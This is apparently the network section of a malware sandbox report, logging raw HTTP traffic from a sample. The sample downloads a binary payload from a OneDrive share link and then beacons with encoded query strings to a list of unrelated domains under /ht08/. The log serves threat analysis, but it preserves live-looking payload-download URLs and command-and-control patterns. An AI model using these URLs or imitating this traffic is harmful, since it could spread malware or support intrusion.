Network Analysis

GET /download?cid=BCFBDC0738CBFF0F&resid=BCFBDC0738CBFF0F%21109&authkey=AONmXFICrRaoFt4 HTTP/1.1 User-Agent: lVali Host: onedrive.live.com

HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://owfboa.dm.files.1drv.com/y4mUfne4wayPOFatX-pbl6vWAtr619eHfZxjSq-Nz-7Vqg6l3ceiOlz0DebBFWCOW_3msvrTRqCAoBdhpjV1KeyTZ4XPy4CNzV-5M1Cq7oXAB8kGm9SPNgqXKQVg3qkcrWjuAv9rbUSvXX_Z34Ybr5jYUlszfdrxqFZhzKrUigROi5ITLXVl3DcbLodY3blfsCvabJpAY3zWSWxQMGIxQVszQ/Ewzmyhkhgsejfrjfwzttwocuueudzgr?download&psid=1 Set-Cookie: E=P:SrXCHneU2Yg=:m3O0ujWdJM1cCVNY8fOSag9IxRhTqEJVBllgeVm/KQY=:F; domain=.live.com; path=/ Set-Cookie: xid=4817d6c4-caa9-4479-b5fc-f51e4fc81a0a&&RDE42AAC93AEF2&341; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 21-Oct-2021 08:02:38 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Thu, 28-Oct-2021 09:42:38 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: RDE42AAC93AEF2 X-ODWebServer: centralus0-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: D69E9F2F55234EBDB8B27D8C09A58165 Ref B: SLAEDGE1013 Ref C: 2021-10-21T09:42:38Z Date: Thu, 21 Oct 2021 09:42:38 GMT Content-Length: 0

GET /y4mUfne4wayPOFatX-pbl6vWAtr619eHfZxjSq-Nz-7Vqg6l3ceiOlz0DebBFWCOW_3msvrTRqCAoBdhpjV1KeyTZ4XPy4CNzV-5M1Cq7oXAB8kGm9SPNgqXKQVg3qkcrWjuAv9rbUSvXX_Z34Ybr5jYUlszfdrxqFZhzKrUigROi5ITLXVl3DcbLodY3blfsCvabJpAY3zWSWxQMGIxQVszQ/Ewzmyhkhgsejfrjfwzttwocuueudzgr?download&psid=1 HTTP/1.1 User-Agent: lVali Host: owfboa.dm.files.1drv.com Connection: Keep-Alive

HTTP/1.1 200 OK Cache-Control: public Content-Length: 275456 Content-Type: application/octet-stream Content-Location: https://owfboa.dm.files.1drv.com/y4mEaAowVGel0YcsdHMPppJXDTbQWbOQRbspylfXJQhLjA05GuNLE8FvmpiQHKki5Zdj6M1ii2A4pzSfJm_0xtCc05BbAUE8Sus-p9Co0FRxtL_Gen9Sww17PFV_EXly-k9o4ufYXD7qysIk-VSPQcA7MdvLv-s54bqLgCYgt8U6VUrRBoUm2TfhgYlp0YkDynE Expires: Wed, 19 Jan 2022 09:42:39 GMT Last-Modified: Thu, 21 Oct 2021 04:40:54 GMT Accept-Ranges: bytes ETag: BCFBDC0738CBFF0F!109.2 P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" X-MSNSERVER: DM5SCH102220107 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: c5DbYDzbOkKKa4b/ft21pg.0 X-SqlDataOrigin: S CTag: aYzpCQ0ZCREMwNzM4Q0JGRjBGITEwOS4yNTc X-PreAuthInfo: rv;poba; Content-Disposition: attachment; filename="Ewzmyhkhgsejfrjfwzttwocuueudzgr" X-Content-Type-Options: nosniff X-StreamOrigin: X X-AsmVersion: UNKNOWN; 19.781.1007.2003 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 3D0F067FC3004A55A55AC7DEAF098ED0 Ref B: SLAEDGE1017 Ref C: 2021-10-21T09:42:39Z Date: Thu, 21 Oct 2021 09:42:38 GMT

GET /download?cid=BCFBDC0738CBFF0F&resid=BCFBDC0738CBFF0F%21109&authkey=AONmXFICrRaoFt4 HTTP/1.1 User-Agent: aswe Host: onedrive.live.com Cache-Control: no-cache Cookie: E=P:SrXCHneU2Yg=:m3O0ujWdJM1cCVNY8fOSag9IxRhTqEJVBllgeVm/KQY=:F; xid=4817d6c4-caa9-4479-b5fc-f51e4fc81a0a&&RDE42AAC93AEF2&341; xidseq=1; wla42=

HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://owfboa.dm.files.1drv.com/y4mmGEQ-1TDGWvA6srDdg7lIrn1Oc-IcieS9yK0yjEgqixnisRz1pHwTYHyXpmsBWdPtArgy7blgdempTtadNiVRcbinYKYCyletcXYWpE5khUcMHXWFto4eVdeTdAIrs0BatLzvepPG8tTU5ebW2mvg4zCaH1LHQxf_F95RdwjWiFbiFK28ZqFIaBN0iq15Gfi0vvbafd9LrWYvE6pJ7efIA/Ewzmyhkhgsejfrjfwzttwocuueudzgr?download&psid=1 Set-Cookie: E=P:5+9IH3eU2Yg=:lbATqj0O88CylNcO/hc1Nnos0OAYbBhTJqVU0VuqZm8=:F; domain=.live.com; path=/ Set-Cookie: xidseq=2; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 21-Oct-2021 08:02:39 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Thu, 28-Oct-2021 09:42:39 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: RDE42AAC93C05D X-ODWebServer: centralus0-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0BD2027EC4D244C091142EA3AC949F73 Ref B: SLAEDGE1013 Ref C: 2021-10-21T09:42:39Z Date: Thu, 21 Oct 2021 09:42:39 GMT Content-Length: 0

GET /y4mmGEQ-1TDGWvA6srDdg7lIrn1Oc-IcieS9yK0yjEgqixnisRz1pHwTYHyXpmsBWdPtArgy7blgdempTtadNiVRcbinYKYCyletcXYWpE5khUcMHXWFto4eVdeTdAIrs0BatLzvepPG8tTU5ebW2mvg4zCaH1LHQxf_F95RdwjWiFbiFK28ZqFIaBN0iq15Gfi0vvbafd9LrWYvE6pJ7efIA/Ewzmyhkhgsejfrjfwzttwocuueudzgr?download&psid=1 HTTP/1.1 User-Agent: aswe Host: owfboa.dm.files.1drv.com Cache-Control: no-cache Connection: Keep-Alive

HTTP/1.1 200 OK Cache-Control: public Content-Length: 275456 Content-Type: application/octet-stream Content-Location: https://owfboa.dm.files.1drv.com/y4mEaAowVGel0YcsdHMPppJXDTbQWbOQRbspylfXJQhLjA05GuNLE8FvmpiQHKki5Zdj6M1ii2A4pzSfJm_0xtCc05BbAUE8Sus-p9Co0FRxtL_Gen9Sww17PFV_EXly-k9o4ufYXD7qysIk-VSPQcA7MdvLv-s54bqLgCYgt8U6VUrRBoUm2TfhgYlp0YkDynE Expires: Wed, 19 Jan 2022 09:42:40 GMT Last-Modified: Thu, 21 Oct 2021 04:40:53 GMT Accept-Ranges: bytes ETag: BCFBDC0738CBFF0F!109.2 P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" X-MSNSERVER: DM5SCH102220110 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: d4XLj978e063aJExMgK+aA.0 X-SqlDataOrigin: S CTag: aYzpCQ0ZCREMwNzM4Q0JGRjBGITEwOS4yNTc X-PreAuthInfo: rv;poba; Content-Disposition: attachment; filename="Ewzmyhkhgsejfrjfwzttwocuueudzgr" X-Content-Type-Options: nosniff X-StreamOrigin: X X-AsmVersion: UNKNOWN; 19.781.1007.2003 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 354CD2FC8DE84571A116074321506513 Ref B: SLAEDGE1017 Ref C: 2021-10-21T09:42:39Z Date: Thu, 21 Oct 2021 09:42:39 GMT

GET /ht08/?p0D=QfrDsny8j2kPE0s&jrQDrX=EXbQHeCb31o1gaBaR2ATYI6ExABbI7DKLBQ2CIR3ARrEXHsMlpnG7TJ7X1JozzLBrtTu60nh HTTP/1.1 Host: www.cdgdentists.com Connection: close

HTTP/1.1 403 Forbidden Server: openresty Date: Thu, 21 Oct 2021 09:42:58 GMT Content-Type: text/html Content-Length: 275 ETag: "6169a6ec-113" Via: 1.1 google Connection: close

GET /ht08/?jrQDrX=u/HH8oXplBhOFryswzp14fRHx2iZXqd5LlKZ1+of1fszA0QUqCsF/wVmyePk0HUmpsPYuBxx&p0D=QfrDsny8j2kPE0s HTTP/1.1 Host: www.amaroqadvisors.com Connection: close

HTTP/1.1 403 Forbidden Server: openresty Date: Thu, 21 Oct 2021 09:43:35 GMT Content-Type: text/html Content-Length: 275 ETag: "6169a6e7-113" Via: 1.1 google Connection: close

GET /ht08/?p0D=QfrDsny8j2kPE0s&jrQDrX=YVcVQnABcJsSl1vo8PwpXZC8MGRy3pUK9T1n+/sxD5UspzF5wJe0fyLK9odyh4hH5ST6BMWP HTTP/1.1 Host: www.septemberstockevent200.com Connection: close

HTTP/1.1 302 Moved Temporarily Date: Thu, 21 Oct 2021 09:43:40 GMT Transfer-Encoding: chunked Connection: close Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Location: https://signup.stansberryresearch.com/?cid=MKT575714&eid=MKT576461 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6Q66%2Bwhx84o1mQs%2FK%2FxieMDinfMhALR8nUDvevvaYM4aWfnH50XpW3Lcpe%2FKVlptZx%2BuHOIcFBIIQhpy1tOJSAoKVccj4jLFVwkD21VLP%2Btp6q0S7932gtILPOc%2BZnhYb9ByNG2jejLD903sIGqx0vc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a198b005f14aee5-KIX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

GET /ht08/?jrQDrX=QSE46j0HNZ2QncZWLMtuNIJxO3VJtHj2iE4I7IkNciklA1BQH3YeyQjbp0g62VHrm1UWPSce&p0D=QfrDsny8j2kPE0s HTTP/1.1 Host: www.swisstradecenter.com Connection: close

HTTP/1.1 400 Bad Request Server: Hostpoint Redirect Service Connection: close

GET /ht08/?p0D=QfrDsny8j2kPE0s&jrQDrX=+MKoH/T1lSGBa8iWH91/ZquhTarcPNk/tfbZWgzq/IKlWL2S/ubFt9bqD7NQKtX6NP3pa9SI HTTP/1.1 Host: www.oilelm.com Connection: close

HTTP/1.1 301 Moved Permanently Date: Thu, 21 Oct 2021 09:43:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close location: https://www.oilelm.com/ht08/?p0D=QfrDsny8j2kPE0s&jrQDrX=+MKoH/T1lSGBa8iWH91/ZquhTarcPNk/tfbZWgzq/IKlWL2S/ubFt9bqD7NQKtX6NP3pa9SI CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MQxNsPcDlSijOAmiFNEHkZebTWMAciYaM5mj5uPrPUpmtivzgAinJ2DPacPCJAZdkhKf4FOGRG6SK8VA9lz%2F%2B3KcQIdZYokKS5tyy6T2v%2BUju1U9sfOC3BiE9owTL3A7XA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a198b44b890fbe4-KIX alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

GET /ht08/?jrQDrX=N3mp3TnmlmOVAV+GBSkbxeVJeF+TLCeopoFxOLndztPBPVOFElj2miXAPLJhlFBp52cue+7l&p0D=QfrDsny8j2kPE0s HTTP/1.1 Host: www.oooci.com Connection: close

HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 21 Oct 2021 09:43:57 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.oooci.com/ht08/?jrQDrX=N3mp3TnmlmOVAV+GBSkbxeVJeF+TLCeopoFxOLndztPBPVOFElj2miXAPLJhlFBp52cue+7l&p0D=QfrDsny8j2kPE0s Strict-Transport-Security: max-age=31536000

GET /ht08/?jrQDrX=uW1sPHtGTFBUTkesgE7uYKY6CRw967TpF9DAp4EO6MgnVSdl1zAyFTm+zdWq2zbODeL2N+lp&p0D=QfrDsny8j2kPE0s HTTP/1.1 Host: www.trashwasher.com Connection: close

HTTP/1.1 401 Restricted Server: Varnish Retry-After: 0 Content-Type: text/html; charset=utf-8 WWW-Authenticate: Basic realm="Please enter your username and password.", charset="UTF-8" Content-Length: 2162 Accept-Ranges: bytes Date: Thu, 21 Oct 2021 09:44:07 GMT Connection: close X-Served-By: cache-icn1450081-ICN X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1634809448.925855,VS0,VE1 X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: FLYWHEEL_BOT

GET /ht08/?p0D=QfrDsny8j2kPE0s&jrQDrX=wJPYOBNPPe4q/AU39b/otaYCYPUa59MhN5lNfdB/7j2pgKnFe5P4sOF7ywpp0IQx2Nw/u5M7 HTTP/1.1 Host: www.kinmanpowerwashing.com Connection: close

HTTP/1.1 400 Bad Request Connection: close